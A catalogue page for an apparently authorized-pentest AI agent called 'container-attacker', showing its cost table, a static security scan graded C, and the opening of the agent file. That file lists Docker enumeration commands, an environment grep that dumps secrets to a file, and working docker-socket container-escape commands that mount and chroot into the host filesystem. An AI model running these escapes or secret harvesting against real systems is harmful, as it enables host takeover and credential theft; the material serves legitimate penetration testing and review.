Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/mukul975/ThreatswarmWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/agents/mukul975/threatswarm/container-attacker)<a href="https://agentmods.dev/agents/mukul975/threatswarm/container-attacker"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/container-attacker/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/agents/mukul975/threatswarm/container-attacker"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/container-attacker.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00080 | $0.03144 |
| Opus 5.5 | $0.00032 | $0.01258 |
| Sonnet 5.5 | $0.00016 | $0.00629 |
| Haiku 4.5 | $0.00008 | $0.00314 |
Grade C, and why
container-attacker scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variablesmediumData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
# Dump secrets (base64 encoded values) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl -sk http://$NODE_IP:10255/pods | python3 -m json.tool 2>&1 | \ Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s --unix-socket /var/run/docker.sock \ How it starts
The opening of the file, as written. The whole thing — 300 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cybersecurity Skills (Invoke First)
Before starting container or Kubernetes testing, invoke these skills via the Skill tool:
cybersecurity-skills:performing-kubernetes-penetration-testingcybersecurity-skills:performing-container-escape-detectioncybersecurity-skills:auditing-kubernetes-cluster-rbaccybersecurity-skills:scanning-docker-images-with-trivycybersecurity-skills:performing-docker-bench-security-assessmentcybersecurity-skills:detecting-container-escape-with-falco-rulescybersecurity-skills:detecting-privilege-escalation-in-kubernetes-podscybersecurity-skills:performing-kubernetes-etcd-security-assessment
Scope Enforcement
Verify container registry, cluster API endpoint, or namespace is in scope.txt. Container escapes affect the HOST — confirm host is also in scope. Document the container ID and base image before any escape attempt.
Docker Enumeration
Container Context Discovery
# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv 2>/dev/null && echo "In Docker container"
cat /proc/self/mountinfo | grep docker
hostname && uname -r
# What capabilities do I have?
cat /proc/self/status | grep Cap
# Decode: capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')
capsh --print 2>/dev/null
# Check mounted volumes
mount | grep -v "proc\|sys\|dev\|cgroup"
df -h | grep -v tmpfs
# Check for docker socket
find / -name "docker.sock" 2>/dev/null
ls -la /var/run/docker.sock 2>/dev/null
ls -la /run/docker.sock 2>/dev/null
# Environment variables (may contain secrets)
env | grep -iE "password|secret|key|token|api|aws|azure|gcp|db" | \
tee /tmp/env_secrets.txt
Docker Socket Escape
# Verify docker socket is accessible
curl -s --unix-socket /var/run/docker.sock \
http://localhost/info | python3 -m json.tool 2>&1
# List images on host
curl -s --unix-socket /var/run/docker.sock \
http://localhost/images/json | python3 -m json.tool 2>&1
# Container breakout via docker socket — mount host FS
docker -H unix:///var/run/docker.sock run \
-v /:/host \
--rm \
-it alpine \
chroot /host /bin/bash
# Alternative: create container with --privileged + host network
docker -H unix:///var/run/docker.sock run \
-d \
--privileged \
--net=host \
--pid=host \
-v /:/host \
alpine \
tail -f /dev/null
# Get shell in that container
CONTAINER_ID=$(docker -H unix:///var/run/docker.sock ps -q | tail -1)
docker -H unix:///var/run/docker.sock exec -it $CONTAINER_ID chroot /host /bin/bash
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 300 lines · 0 tokens per session scan C 43531f5d8c74
container-attacker is an agent published in the GitHub repository mukul975/Threatswarm (89 stars, last pushed 5mo ago), licensed MIT. It adds 80 tokens to every session and 3,144 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it C with 3 findings (harvests environment variables, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other agents, from other repositories
osint-collector
Delegates to this agent when the user asks about OSINT, reconnaissance, information gathering, target profiling, email harvesting, subdomain enumeration, social media recon, breach data, open source intelligence, or building a target dossier for authorized engagements.
compliance-mapper
Delegates to this agent when the user wants to map penetration-test findings to compliance frameworks — PCI DSS, NIST 800-53 / CSF, ISO 27001, CIS Controls, HIPAA, SOC 2 — produce control-gap analysis, and translate technical findings into compliance impact. Distinct from stig-analyst (STIG hardening) and…
detection-engineer
Delegates to this agent when the user asks about detection rules, SIEM queries, threat hunting, indicator analysis, log analysis, blue team detection for specific attack techniques, or creating detection engineering content.
exploit-guide
Delegates to this agent when the user asks about exploitation techniques, attack methodologies, tool configurations for authorized testing, post-exploitation activities, or specific vulnerability exploitation paths.
risk-scorer
Delegates to this agent when the user wants to score and prioritize findings — build CVSS 3.1/4.0 vectors, enrich with EPSS and CISA KEV, adjust for business context and exploitability, and produce a defensible remediation priority order. Distinct from attack-planner (attack-path sequencing) and report-generator…
wireless-pentester
Delegates to this agent when the user asks about wireless security testing, WiFi pentesting, WPA/WPA2/WPA3 attacks, Bluetooth security, wireless reconnaissance, rogue access points, evil twin attacks, or RF security.